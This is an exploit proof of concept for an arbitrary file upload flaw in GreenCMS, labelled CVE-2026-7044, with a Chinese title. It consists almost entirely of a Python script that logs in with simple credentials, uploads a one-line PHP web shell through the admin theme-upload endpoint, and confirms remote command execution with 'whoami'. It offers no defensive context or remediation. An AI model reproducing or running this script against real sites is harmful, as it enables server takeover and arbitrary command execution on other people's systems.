CVE-2026-7044 GreenCMS任意文件上传漏洞

import requests # Target configuration target_url = "http://example.com/index.php?m=admin&c=custom&a=themeadd" login_url = "http://example.com/index.php?m=admin&c=login&a=login" shell_url = "http://example.com/uploads/shell.php" # Login credentials (need low privileges) credentials = { "username": "admin", "password": "password" } # Create a session session = requests.Session() # 1. Login to get privileges login_response = session.post(login_url, data=credentials) if "success" not in login_response.text: print("Login failed") exit() # 2. Prepare the malicious file (PHP shell) files = { 'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/octet-stream') } # 3. Upload the file upload_response = session.post(target_url, files=files) if upload_response.status_code == 200: print("File uploaded successfully.") # 4. Verify the shell verify = session.get(shell_url + "?cmd=whoami") if verify.status_code == 200: print(f"Shell active! Current user: {verify.text}") else: print("Upload failed")